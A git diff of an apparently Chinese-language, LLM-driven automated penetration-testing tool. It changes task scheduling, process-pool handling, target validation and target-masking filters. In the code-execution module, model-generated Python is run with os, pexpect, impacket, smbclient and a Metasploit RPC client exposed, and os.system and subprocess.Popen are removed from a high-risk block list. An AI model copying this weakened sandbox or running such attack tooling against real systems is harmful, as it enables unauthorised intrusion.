python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL) python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL)

17
mycode/PythonTManager.py

@ -14,7 +14,17 @@ class PythonTManager:
self.python_tool = PythoncodeTool(maxnum) #python工具实例 self.python_tool = PythoncodeTool(maxnum) #python工具实例
def __del__(self): def __del__(self):
self.python_tool.shutdown() self.shutdown_pool()
def start_pool(self):
return self.python_tool.start_pool()
def shutdown_pool(self):
self.python_tool.shutdown_pool()
def is_pool_active(self):
return self.python_tool.pool_active
def execute_instruction(self,instruction): def execute_instruction(self,instruction):
bwork = False bwork = False
@ -23,14 +33,15 @@ class PythonTManager:
if self.cur_num < self.maxnum: if self.cur_num < self.maxnum:
self.cur_num += 1 self.cur_num += 1
bwork = True bwork = True
if bwork:#还有空的子进程 if bwork:#还有空的子进程
#提交给进程池执行 #提交给进程池执行
_,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction) bsuccess,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction)
#执行完成后,数量减一 #执行完成后,数量减一
with self.put_lock: with self.put_lock:
self.cur_num -= 1 self.cur_num -= 1
#返回结果 #返回结果
return instruction,analysis,analysis,ext_params return bsuccess,instruction,analysis,analysis,ext_params
else: #如果没获取的许可,则等待N秒后再尝试---存在问题:多线程间没有先来先到的机制了,有可能第一个来排队的一直等到最后 else: #如果没获取的许可,则等待N秒后再尝试---存在问题:多线程间没有先来先到的机制了,有可能第一个来排队的一直等到最后
time.sleep(20) #休眠20秒 time.sleep(20) #休眠20秒

145
mycode/PythoncodeTool.py

@ -5,6 +5,7 @@ import subprocess
import json import json
import builtins import builtins
import re import re
import os
import paramiko import paramiko
import impacket import impacket
import psycopg2 import psycopg2
@ -17,12 +18,29 @@ import mysql.connector
import telnetlib import telnetlib
import time import time
import uuid import uuid
import multiprocessing import base64
import itertools
import random
import tempfile
import textwrap import textwrap
import smb
import pexpect
import smbclient
import binascii
from mysql.connector import Error
from impacket.smbconnection import SMBConnection
from itertools import product
from socket import create_connection
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from pymetasploit3.msfrpc import MsfRpcClient
from time import sleep
from base64 import b64encode
from datetime import datetime,timedelta
from mycode.Result_merge import my_merge from mycode.Result_merge import my_merge
from ftplib import FTP from ftplib import FTP
from requests.auth import HTTPBasicAuth from requests.auth import HTTPBasicAuth
from urllib.parse import quote
from myutils.ReturnParams import ReturnParams from myutils.ReturnParams import ReturnParams
from concurrent.futures import ProcessPoolExecutor, TimeoutError from concurrent.futures import ProcessPoolExecutor, TimeoutError
@ -43,7 +61,9 @@ def _execute_dynamic(instruction_str):
'float': float, 'int': int, 'len': len, 'list': list, 'float': float, 'int': int, 'len': len, 'list': list,
'max': max, 'min': min, 'print': print, 'range': range, 'max': max, 'min': min, 'print': print, 'range': range,
'set': set, 'str': str, 'sum': sum, 'type': type, 'set': set, 'str': str, 'sum': sum, 'type': type,
'open': open, 'Exception': Exception, 'locals': locals 'open': open, 'Exception': Exception, 'locals': locals,
'ConnectionResetError':ConnectionResetError,'BrokenPipeError':BrokenPipeError,
'bytes':bytes,'tuple':tuple,'format':format
} }
# 构造安全的 globals # 构造安全的 globals
safe_globals = { safe_globals = {
@ -65,7 +85,28 @@ def _execute_dynamic(instruction_str):
'HTTPBasicAuth': HTTPBasicAuth, 'HTTPBasicAuth': HTTPBasicAuth,
'telnetlib': telnetlib, 'telnetlib': telnetlib,
'time': time, 'time': time,
'uuid':uuid, 'uuid': uuid,
'quote': quote,
'base64': base64,
'itertools': itertools,
'random':random,
'tempfile':tempfile,
'os':os,
'datetime':datetime,
'timedelta':timedelta,
'b64encode':b64encode,
'smb':smb,
'pexpect':pexpect,
'sleep':sleep,
'MsfRpcClient':MsfRpcClient,
'x509':x509,
'default_backend':default_backend,
'product':product,
'create_connection':create_connection,
'smbclient':smbclient,
'binascii':binascii,
'Error':Error,
'SMBConnection':SMBConnection
} }
safe_locals = {} safe_locals = {}
try: try:
@ -80,7 +121,8 @@ def _execute_dynamic(instruction_str):
# 调用它并返回结果 # 调用它并返回结果
res = safe_locals['dynamic_fun']() res = safe_locals['dynamic_fun']()
if not (isinstance(res, tuple) and len(res) == 2 and isinstance(res[0], bool)): if not (isinstance(res, tuple) and len(res) == 2 and isinstance(res[0], bool)):
return False, "dynamic_fun 返回值格式不对" str_res = str(res)
return False, f"dynamic_fun 返回值格式不对:{str_res}"
return res return res
except MemoryError: except MemoryError:
return False, "内存溢出" return False, "内存溢出"
@ -91,7 +133,80 @@ def _execute_dynamic(instruction_str):
class PythoncodeTool(): class PythoncodeTool():
def __init__(self,max_num): def __init__(self,max_num):
self.proc_pool = ProcessPoolExecutor(max_workers=max_num) self.max_workers = max_num
self.proc_pool = None
self.pool_active = False
#self.proc_pool = ProcessPoolExecutor(max_workers=max_num)
def start_pool(self):
if self.proc_pool is not None and self.pool_active:
print("进程池已经在运行中")
return False
print("启动进程池...")
self.proc_pool = ProcessPoolExecutor(max_workers=self.max_workers)
self.pool_active = True
return True
def shutdown_pool(self):
if self.proc_pool is not None and self.pool_active:
print("关闭进程池...")
self.proc_pool.shutdown(wait=False) #wait=True 是阻塞执行,False立即返回
self.pool_active = False
self.proc_pool = None
else:
print("进程池已经是关闭状态")
def fix_code(self,code: str) -> str:
"""
code 中所有单引号或双引号字符串里意外的真实换行符替换为 '\\n'
使代码可被 ast.parse 正确解析
"""
# 匹配单引号字符串中跨行的情况
single_pat = re.compile(
r"(')" # 起始单引号
r"([^']*?)" # 引号内部,尽可能少地匹配除单引号外的字符
r"\n" # 真正的换行
r"(.*?)" # 换行之后继续匹配内部字符
r"(\1)", # 结尾单引号,与起始保持一致
flags=re.DOTALL
)
# 匹配双引号字符串中跨行的情况
double_pat = re.compile(
r'(")' # 起始双引号
r'([^"]*?)' # 内部内容
r'\n' # 真实换行
r'(.*?)' # 后续内容
r'(\1)', # 结尾双引号
flags=re.DOTALL
)
prev = None
# 反复替换,直到不再有跨行字符串
while code != prev:
prev = code
# 处理单引号内的真实换行
code = single_pat.sub(
lambda m: (
m.group(1)
+ m.group(2).replace('\n', '\\n')
+ '\\n'
+ m.group(3)
+ m.group(4)
),
code
)
# 处理双引号内的真实换行
code = double_pat.sub(
lambda m: (
m.group(1)
+ m.group(2).replace('\n', '\\n')
+ '\\n'
+ m.group(3)
+ m.group(4)
),
code
)
return code
def preprocess(self,code: str) -> str: def preprocess(self,code: str) -> str:
# 去掉最外层空行 # 去掉最外层空行
@ -105,9 +220,7 @@ class PythoncodeTool():
HIGH_RISK = { HIGH_RISK = {
'eval', # eval(...) 'eval', # eval(...)
'exec', # exec(...) 'exec', # exec(...)
'os.system', # os.system(...)
'subprocess.call', # subprocess.call(...) 'subprocess.call', # subprocess.call(...)
'subprocess.Popen' # subprocess.Popen(...)
} }
try: try:
tree = ast.parse(code) tree = ast.parse(code)
@ -137,10 +250,11 @@ class PythoncodeTool():
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 60*10 timeout = 60*15
instr = instruction.replace("python_code ","") instr = instruction.replace("python_code ","")
instr = instr.replace("python-code ", "") instr = instr.replace("python-code ", "")
instr = self.preprocess(instr) #instr = self.preprocess(instr)
#instr = self.fix_code(instr)
# Safety check # Safety check
bsafe,error = self.is_safe_code((instr)) bsafe,error = self.is_safe_code((instr))
if not bsafe: if not bsafe:
@ -171,14 +285,18 @@ class PythoncodeTool():
str:执行的指令 str:执行的指令
str:执行指令的结果 str:执行指令的结果
''' '''
ext_params = ReturnParams() ext_params = ReturnParams()
ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False
ext_params["is_vulnerability"] = False # 是否是脆弱点 ext_params["is_vulnerability"] = False # 是否是脆弱点
if not self.pool_active:
return False,instruction_old,"本地程序出行错误,请结束该节点的测试!","",ext_params
# 第一步:验证指令合法性 # 第一步:验证指令合法性
instruction,time_out,error = self.validate_instruction(instruction_old) instruction,time_out,error = self.validate_instruction(instruction_old)
if not instruction: if not instruction:
return False, instruction_old, error,"",ext_params return True, instruction_old, error,"",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? # 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令 # 第二步:执行指令
@ -197,10 +315,7 @@ class PythoncodeTool():
# 第三步:分析执行结果 # 第三步:分析执行结果
analysis = self.analyze_result(output, instruction,"","") analysis = self.analyze_result(output, instruction,"","")
# 指令和结果入数据库
# ?
if not analysis: # analysis为“” 不提交LLM
return False, instruction, analysis,"",ext_params
return True, instruction, analysis,"",ext_params return True, instruction, analysis,"",ext_params
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):

9
mycode/TargetManager.py

@ -28,19 +28,22 @@ class TargetManager:
''' '''
regex_match = re.fullmatch(pattern, input_str) regex_match = re.fullmatch(pattern, input_str)
type = None type = None
fake_target = ""
if regex_match: if regex_match:
domain_or_ip = regex_match.group(2) domain_or_ip = regex_match.group(2)
# 仅对 IPv4 格式的字符串进行有效性验证 # 仅对 IPv4 格式的字符串进行有效性验证
if re.fullmatch(r'\d{1,3}(\.\d{1,3}){3}', domain_or_ip): if re.fullmatch(r'\d{1,3}(\.\d{1,3}){3}', domain_or_ip):
if not self._is_valid_ipv4(domain_or_ip): if not self._is_valid_ipv4(domain_or_ip):
return False, None,type return False, None,type,fake_target
else: else:
type = 1 #IP type = 1 #IP
fake_target = "192.168.3.107"
else: else:
type = 2 #domain type = 2 #domain
return True, domain_or_ip,type fake_target = "www.czzfxxkj.com"
return True, domain_or_ip,type,fake_target
else: else:
return False, None,type return False, None,type,fake_target
g_TM = TargetManager() g_TM = TargetManager()

173
mycode/TaskManager.py

@ -2,21 +2,26 @@ from myutils.ConfigManager import myCongif
from mycode.TaskObject import TaskObject from mycode.TaskObject import TaskObject
from mycode.DBManager import app_DBM from mycode.DBManager import app_DBM
from myutils.PickleManager import g_PKM from myutils.PickleManager import g_PKM
from myutils.MyLogger_logger import LogHandler
from mycode.TargetManager import TargetManager # 从模块导入类
import time
import threading import threading
class TaskManager: class TaskManager:
def __init__(self): def __init__(self):
self.logger = LogHandler().get_logger("TaskManager")
self.TargetM = TargetManager()
self.tasks = {} # 执行中的任务,test_id为key self.tasks = {} # 执行中的任务,test_id为key
self.num_threads = myCongif.get_data("Task_max_threads") self.num_threads = myCongif.get_data("Task_max_threads")
self.max_run_task = myCongif.get_data("max_run_task")
self.cur_task_run_num = 0
#获取系统信息 -- 用户可修改的都放在DB中,不修改的放config #获取系统信息 -- 用户可修改的都放在DB中,不修改的放config
data = app_DBM.get_system_info() data = app_DBM.get_system_info()
self.local_ip = data[0] self.local_ip = data[0]
self.version = data[1] self.version = data[1]
self.tasks_lock = threading.Lock() #加个线程锁?不使用1,quart要使用的异步锁,2.限制只允许一个用户登录,3.遍历到删除的问题不大 self.tasks_lock = threading.Lock()
self.web_cur_task = 0 #web端当前显示的 self.web_cur_task = 0 #web端当前显示的
#判断目标是不是在当前执行任务中,---没加锁,最多跟删除有冲突,问题应该不大 #判断目标是不是在当前执行任务中,---没加锁,最多跟删除有冲突,问题应该不大
def is_target_in_tasks(self,task_target): def is_target_in_tasks(self,task_target):
for task in self.tasks.values(): for task in self.tasks.values():
@ -26,7 +31,7 @@ class TaskManager:
#程序启动后,加载未完成的测试任务 #程序启动后,加载未完成的测试任务
def load_tasks(self): def load_tasks(self):
'''程序启动时,加载未执行完成的任务''' '''程序启动时,加载未执行完成的,未点击结束的任务 -- task_status<>2'''
datas = app_DBM.get_run_tasks() datas = app_DBM.get_run_tasks()
for data in datas: for data in datas:
task_id = data[0] task_id = data[0]
@ -35,77 +40,136 @@ class TaskManager:
work_type = data[3] work_type = data[3]
cookie_info = data[4] cookie_info = data[4]
llm_type = data[5] llm_type = data[5]
safe_rank = data[6]
fake_target = data[7]
# 创建任务对象 # 创建任务对象
task = TaskObject(task_target, cookie_info, work_type, llm_type, self.num_threads, self.local_ip,self) task = TaskObject(task_target, cookie_info, work_type, llm_type, self.num_threads, self.local_ip,fake_target,self,safe_rank)
#读取attact_tree #读取attact_tree---load的任务应该都要有attact_tree
attack_tree = g_PKM.ReadData(str(task_id)) attack_tree = g_PKM.ReadData(str(task_id))
#开始任务 ---会根据task_status来判断是否需要启动工作线程 if attack_tree:
task.start_task(task_id,task_status,attack_tree) #恢复数据
# 保留task对象 task.init_task(task_id,attack_tree)
#开始任务 ---根据task_status来判断是否需要启动工作线程
if task_status == 1:
if self.cur_task_run_num < self.max_run_task: #load 是程序刚起,只有主线程,不加锁
bsuc,strout = task.start_task()
if bsuc:
self.cur_task_run_num +=1
else:
task.update_task_status(0)
else:
self.logger.error("重载未结束任务,不应该超过最大运行数量的task_status为启动状态")
task.update_task_status(0)#尝试硬恢复
# 内存保留task对象
self.tasks[task_id] = task self.tasks[task_id] = task
else:
self.logger.error(f"{task_id}任务的节点树数据缺失,需要检查!")
#新建测试任务 #新建测试任务--2025-4-28调整为可以批量添加--cookie_info信息取消
def create_task(self, test_target,cookie_info,llm_type,work_type): def create_task(self, test_targets,llm_type,work_type):
"""创建新任务--create和load复用?-- """创建新任务--create和load复用?--
1.创建和初始化task_object; 1.创建和初始化task_object;
2.创建task_id 2.创建task_id
3.启动工作线程 return 失败的list
return T/F
""" """
if self.is_target_in_tasks(test_target): fail_list = []
raise ValueError(f"Task {test_target} already exists") target_list = test_targets.split(",")
#创建任务对象 for target in target_list:
task = TaskObject(test_target,cookie_info,work_type,llm_type,self.num_threads,self.local_ip,self) #这里判断目标的合法性
bok,target,type,fake_target = self.TargetM.validate_and_extract(target) #是否还需要判断待定?
if not bok:#目标不合法
fail_list.append(target)
continue
#判断是否已在执行列表
if self.is_target_in_tasks(target):
fail_list.append(target)
continue
#raise ValueError(f"Task {test_target} already exists")
#创建任务对象--cookie参数取消
task = TaskObject(target,"",work_type,llm_type,self.num_threads,self.local_ip,fake_target,self)
#获取task_id -- test_target,cookie_info,work_type,llm_type 入数据库 #获取task_id -- test_target,cookie_info,work_type,llm_type 入数据库
task_id = app_DBM.start_task(test_target,cookie_info,work_type,llm_type) task_id = app_DBM.start_task(target,"",work_type,llm_type,fake_target)
if task_id >0: if task_id >0:
#创建后启动工作--同时赋值task_id #2025-4-28调整批量添加任务,默认不启动
task.start_task(task_id) task.init_task(task_id)
#保留task对象 #保留task对象
self.tasks[task_id] = task self.tasks[task_id] = task
return True
else: else:
return False fail_list.append(target)
result = ",".join(fail_list)
return result
def over_task(self,task_id): #开启task任务--正常只应该有web触发调用
def start_task_TM(self,task_id):
task = self.tasks[task_id]
if task:
with self.tasks_lock:
if self.cur_task_run_num < self.max_run_task:
#启动工作线程和进程
bsuc,error = task.start_task()
if bsuc:
self.cur_task_run_num += 1
return True,"启动成功"
else:
return False,error
else:
return False,f"已到达最大的启动数--{self.max_run_task}"
return False,"该任务不存在,程序逻辑存在问题!"
#停止task任务
def stop_task_TM(self,task_id):
task = self.tasks[task_id] task = self.tasks[task_id]
if task: if task:
task.brun = False if task.brun and task.task_status ==1: #是运行状态
#修改数据库数据 with self.tasks_lock:
bsuccess = app_DBM.over_task(task_id) task.stop_task() #停止线程应该就没什么失败需要处理的
self.cur_task_run_num -= 1
return True,"停止任务成功"
else:
return True,"该任务已处于停止状态"
return False,"该任务不存在,程序逻辑存在问题!"
#结束任务
def over_task(self,task_id):
#先尝试停止
bsuccess,_ = self.stop_task_TM(task_id)
time.sleep(1)
if bsuccess: if bsuccess:
del self.tasks[task_id] #删除缓存 #再结束
return bsuccess,"" bsuccess = app_DBM.over_task(task_id) # 不管是不是修改(置2)成功,都执行结束
del self.tasks[task_id] # 删除缓存
return True,"结束任务成功"
else: else:
return False,"没有找到对应的任务" return False,"该任务不存在,程序逻辑存在问题!"
#删除任务
def del_task(self,task_id): def del_task(self,task_id):
if g_PKM.DelData(str(task_id)): #删除数据记录
bsuccess = app_DBM.del_task(task_id) app_DBM.del_task(task_id)
return bsuccess,"" #删除节点树
else: g_PKM.DelData(str(task_id))
return False,"删除对应文件失败" return True,"删除任务成功!"
#控制task启停----线程不停 #控制task启停----线程不停 --2025-4-28 配合批量任务,需要停止工作线程了
def control_taks(self,task_id): def control_taks(self,task_id):
task = self.tasks[task_id] task = self.tasks[task_id]
if task: if task:
if task.task_status == 0: # 0-暂停,1-执行中,2-已完成 if task.task_status == 0: # 0-暂停,1-执行中,2-已完成
task.task_status = 1 bsuc,error = self.start_task_TM(task_id) #任务是否存在的状态有点重复
elif task.task_status == 1: elif task.task_status == 1:
task.task_status = 0 bsuc,error = self.stop_task_TM(task_id)
else: else:
return False,"当前任务状态不允许修改,请联系管理员!",task.task_status return False,"当前任务状态不允许修改,请联系管理员!",task.task_status
else: else:
return False,"没有找到对应的任务",None return False,"没有找到对应的任务",None
return True,"",task.task_status return bsuc,error,task.task_status
# 获取任务list # 获取任务list
def get_task_list(self): def get_task_list(self):
tasks = [] tasks = []
for task in self.tasks.values(): for task in self.tasks.values():
one_json = {"taskID": task.task_id, "testTarget": task.target, "taskStatus": task.task_status, "safeRank": task.safe_rank, one_json = {"taskID": task.task_id, "testTarget": task.target, "taskStatus": task.task_status,
"workType": task.work_type} "safeRank": task.safe_rank,"workType": task.work_type}
tasks.append(one_json) tasks.append(one_json)
rejson = {"tasks": tasks} rejson = {"tasks": tasks}
return rejson return rejson
@ -132,10 +196,11 @@ class TaskManager:
task = self.tasks[task_id] task = self.tasks[task_id]
if task: if task:
if task.task_status == 0: if task.task_status == 0:
task.work_type = new_work_type task.update_task_work_type(new_work_type)
return True return True
return False return False
#------------节点操作相关-------还未二次走查-------------
#控制节点的工作状态 #控制节点的工作状态
def node_bwork_control(self,task_id,node_path): def node_bwork_control(self,task_id,node_path):
task = self.tasks[task_id] task = self.tasks[task_id]
@ -181,9 +246,9 @@ class TaskManager:
if node: if node:
tmpMsg = node.get_res_user() tmpMsg = node.get_res_user()
if tmpMsg: if tmpMsg:
return node.messages,tmpMsg[0] #待提交消息正常应该只有一条 return node.cur_messages,tmpMsg[0] #待提交消息正常应该只有一条
else: else:
return node.messages,{} return node.cur_messages,{}
return [],{} return [],{}
def update_node_MSG(self,task_id,nodepath,newtype,newcontent): def update_node_MSG(self,task_id,nodepath,newtype,newcontent):
@ -193,6 +258,9 @@ class TaskManager:
if node: if node:
work_status = node.get_work_status() work_status = node.get_work_status()
if work_status == 0 or work_status == 3: if work_status == 0 or work_status == 3:
if work_status == 0:
if not node.parent_messages: #如果messages为空--且不会是根节点
node.copy_messages(node.parent.parent_messages,node.parent.cur_messages)
bsuccess,error = node.updatemsg(newtype,newcontent,0) #取的第一条,也就修改第一条 bsuccess,error = node.updatemsg(newtype,newcontent,0) #取的第一条,也就修改第一条
return bsuccess,error return bsuccess,error
else: else:
@ -211,23 +279,4 @@ class TaskManager:
tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time) tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return tasks return tasks
#------------以下函数还未验证处理-----------
def start_task(self, task_id):
"""启动指定任务"""
task = self.tasks.get(task_id)
if task:
task.start(self.num_threads)
else:
print(f"Task {task_id} not found")
def stop_task(self, task_id):
"""停止指定任务"""
task = self.tasks.get(task_id)
if task:
task.stop()
else:
print(f"Task {task_id} not found")
g_TaskM = TaskManager() #单一实例 g_TaskM = TaskManager() #单一实例

464
mycode/TaskObject.py

@ -1,7 +1,6 @@
''' '''
渗透测试任务管理类 一次任务的闭合性要检查2025-3-10 一次任务后要清理LLM和InstrM的数据 渗透测试任务管理类 一次任务的闭合性要检查2025-3-10 一次任务后要清理LLM和InstrM的数据
''' '''
from mycode.TargetManager import TargetManager # 从模块导入类
#from LLMManager import LLMManager # 同理修正其他导入 #from LLMManager import LLMManager # 同理修正其他导入
from mycode.ControlCenter import ControlCenter #控制中心替代LLM--控制中心要实现一定的基础逻辑和渗透测试树的维护。 from mycode.ControlCenter import ControlCenter #控制中心替代LLM--控制中心要实现一定的基础逻辑和渗透测试树的维护。
from mycode.InstructionManager import g_instrM from mycode.InstructionManager import g_instrM
@ -15,6 +14,7 @@ from myutils.ConfigManager import myCongif
from mycode.WebSocketManager import g_WSM from mycode.WebSocketManager import g_WSM
from mycode.CommandVerify import g_CV from mycode.CommandVerify import g_CV
from mycode.PythonTManager import PythonTManager from mycode.PythonTManager import PythonTManager
from mycode.DataFilterManager import DataFilterManager
import asyncio import asyncio
import queue import queue
import time import time
@ -22,15 +22,17 @@ import os
import re import re
import threading import threading
import json import json
import textwrap
class TaskObject: class TaskObject:
def __init__(self,test_target,cookie_info,work_type,llm_type,num_threads,local_ip,taskM): def __init__(self,test_target,cookie_info,work_type,llm_type,num_threads,local_ip,fake_target,taskM,safe_rank=0):
#功能类相关 #功能类相关
self.taskM = taskM self.taskM = taskM
self.logger = LogHandler().get_logger("TaskObject") self.logger = LogHandler().get_logger("TaskObject")
self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查 self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查
self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs")) self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
self.DataFilter = DataFilterManager(test_target,fake_target)
self.CCM = ControlCenter() #一个任务一个CCM self.CCM = ControlCenter() #一个任务一个CCM
self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM
#全局变量 #全局变量
@ -41,10 +43,12 @@ class TaskObject:
self.cookie = cookie_info self.cookie = cookie_info
self.work_type = work_type #工作模式 0-人工,1-自动 self.work_type = work_type #工作模式 0-人工,1-自动
self.task_id = None self.task_id = None
self.task_status = 0 #0-暂停,1-执行中,2-已完成 self.task_status = 0 #0-暂停,1-执行中,2-已完成 3-未启动,2025-4-27为配合批量添加任务增加“未启动”状态
self.local_ip = local_ip self.local_ip = local_ip
self.attack_tree = None #任务节点树 self.attack_tree = None #任务节点树
self.safe_rank = 0 #安全级别 0-9 #?暂时还没实现更新逻辑 self.safe_rank = safe_rank #安全级别 0-9 #?暂时还没实现更新逻辑
self.is_had_work = False
self.is_had_work_lock = threading.Lock()
#指令执行相关------- #指令执行相关-------
self.max_thread_num = num_threads #指令执行线程数量 self.max_thread_num = num_threads #指令执行线程数量
@ -81,37 +85,61 @@ class TaskObject:
print(new_star_instr) print(new_star_instr)
return new_star_instr return new_star_instr
def smart_truncate(self,s: str,max_length: int = 5000,ellipsis: str = "...") -> str:
"""截取字符串前 max_length 个字符,并添加截断标记(确保总长度不超过限制)"""
if not s:
return s
#一些无效信息的删除
s = s.replace("pydev debugger: bytes arguments were passed to a new process creation function. Breakpoints may not work correctly.","")
# 计算保留长度(考虑截断标记占位)
truncated = s[:max_length - len(ellipsis)] if len(s) > max_length else s
return truncated + ellipsis if len(s) > max_length else s
def do_instruction(self,instruction):
instruction = textwrap.dedent(instruction.strip())
# 对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间
# 2025-4-27要重新定义bool值作用,初步想法True-作为指令已处理(执行或不执行),False-作为异常,指令还没有处理-可以回Q
if instruction.startswith("python-code"): # python代码--超过子进程数会阻塞等待,但不开始超时记时
bsuccess, instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction)
else: # shell指令
bsuccess, instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
end_time = get_local_timestr() # 指令执行结束时间
# 只取结果的5000长度
reslut = self.smart_truncate(reslut, 4000)
source_result = self.smart_truncate(source_result)
return start_time,end_time,bsuccess,instr,reslut,source_result,ext_params
def do_worker_th(self,index): def do_worker_th(self,index):
#线程的dbm需要一个线程一个 #线程的dbm需要一个线程一个
th_DBM = DBManager() th_DBM = DBManager()
th_DBM.connect() th_DBM.connect()
th_index = index th_index = index
bnode_work = False
while self.brun: while self.brun:
if self.task_status == 1: if self.task_status == 1:
try: try:
llm_type = 1
work_node = self.instr_node_queue.get(block=False)#正常一个队列中一个节点只会出现一次,进而也就只有一个线程在处理 work_node = self.instr_node_queue.get(block=False)#正常一个队列中一个节点只会出现一次,进而也就只有一个线程在处理
# 开始执行指令 # 开始执行指令
bnode_work = True
results = [] results = []
while True: while True:
instruction = work_node.get_instr() instruction = work_node.get_instr()
if not instruction: if not instruction:
break break
instruction = instruction.strip()
#对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间
self.doing_instr_list[th_index] = instruction self.doing_instr_list[th_index] = instruction
if instruction.startswith("python-code"):#python代码--超过子进程数会阻塞等待,但不开始超时记时
instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction) start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = self.do_instruction(instruction)
else:#shell指令
instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
self.doing_instr_list[th_index] = ""
end_time = get_local_timestr() # 指令执行结束时间
# 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#? # 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#?
if th_DBM.ok: if th_DBM.ok:
@ -121,16 +149,25 @@ class TaskObject:
ext_params, work_node.path) ext_params, work_node.path)
else: else:
self.logger.error("数据库连接失败!!") self.logger.error("数据库连接失败!!")
#暂存结果 # 暂存结果
oneres = {'执行指令': instr, '结果': reslut} fake_inst,fake_resul = self.DataFilter.filter_result(instr,reslut)
results.append(oneres) oneres = {'执行指令': fake_inst, '结果': fake_resul}
results.append(oneres) #结果入队列后,指令就不能回退
#一条指令执行完成
self.doing_instr_list[th_index] = ""
#指令都执行结束后,入节点待提交队列 #指令都执行结束后,入节点待提交队列
str_res = json.dumps(results, ensure_ascii=False) str_res = json.dumps(results, ensure_ascii=False)
# 提交llm待处理任务 --更新节点work_status # 提交llm待处理任务 --更新节点work_status
self.put_node_reslist(work_node, str_res, 1) if work_node.do_sn >= myCongif.get_data("max_do_sn"): # 该节点执行指令已超过10条
llm_type = 10
self.put_node_reslist(work_node, str_res, llm_type)
# 保存记录 # 保存记录
g_PKM.WriteData(self.attack_tree,str(self.task_id)) g_PKM.WriteData(self.attack_tree,str(self.task_id))
except queue.Empty: except queue.Empty:
if bnode_work:
bnode_work = False
self.no_work_to_do() #判断是否需要把当前任务的无工作状态推送到前端
time.sleep(self.sleep_time) time.sleep(self.sleep_time)
else:#不是工作状态则休眠 else:#不是工作状态则休眠
time.sleep(self.sleep_time) time.sleep(self.sleep_time)
@ -147,11 +184,13 @@ class TaskObject:
th_DBM = DBManager() th_DBM = DBManager()
th_DBM.connect() th_DBM.connect()
th_index = index th_index = index
bnode_work = False
while self.brun: while self.brun:
if self.task_status == 1: if self.task_status == 1:
try: try:
llm_node = self.llm_node_queue.get(block=False) #获取一个待处理节点 llm_node = self.llm_node_queue.get(block=False) #获取一个待处理节点
#开始处理 #开始处理
bnode_work = True
tmp_commands = [] tmp_commands = []
# {llm_node.status} --- 暂时固化为未完成 # {llm_node.status} --- 暂时固化为未完成
user_Prompt = f''' user_Prompt = f'''
@ -160,7 +199,7 @@ class TaskObject:
- 节点名称{llm_node.name} - 节点名称{llm_node.name}
- 节点状态未完成 - 节点状态未完成
- 漏洞类型{llm_node.vul_type} - 漏洞类型{llm_node.vul_type}
''' '''
while True: while True:
llm_data = llm_node.get_res() llm_data = llm_node.get_res()
if llm_data is None: if llm_data is None:
@ -169,10 +208,15 @@ class TaskObject:
str_res = llm_data["result"] str_res = llm_data["result"]
#获取提示词 #获取提示词
prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt) prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt)
fake_prompt = self.DataFilter.filter_prompt(prompt) #目标脱敏
self.doing_llm_list[th_index] = prompt self.doing_llm_list[th_index] = prompt
# 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行 # 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行
node_cmds, commands,reasoning_content, content, post_time = self.LLM.get_llm_instruction(prompt,llm_node) # message要更新 post_time = get_local_timestr()
self.doing_llm_list[th_index] = "" bsuccess,node_cmds, commands,reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,llm_node,self.DataFilter) # message要更新 --llm_node只使用messages,都是脱敏后的数据
if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}")
continue #丢弃 --若需要再次尝试,把llm_data再入队列
# LLM记录存数据库 # LLM记录存数据库
if th_DBM.ok: if th_DBM.ok:
llm_node.llm_sn += 1 llm_node.llm_sn += 1
@ -190,33 +234,74 @@ class TaskObject:
bok, new_commands,iadd_node = self.tree_manager(node_cmds, llm_node, commands, th_DBM) bok, new_commands,iadd_node = self.tree_manager(node_cmds, llm_node, commands, th_DBM)
# 分析指令入对应节点 # 分析指令入对应节点
if bok: # 节点指令若存在错误,测试指令都不处理,需要LLM重新生成 if bok: # 节点指令若存在错误,测试指令都不处理,需要LLM重新生成
tmp_commands.extend(new_commands) #tmp_commands.extend(new_commands)
#测试指令入节点待处理队列 --同时修改节点的work_status # 测试指令入节点待处理队列 --同时修改节点的work_status
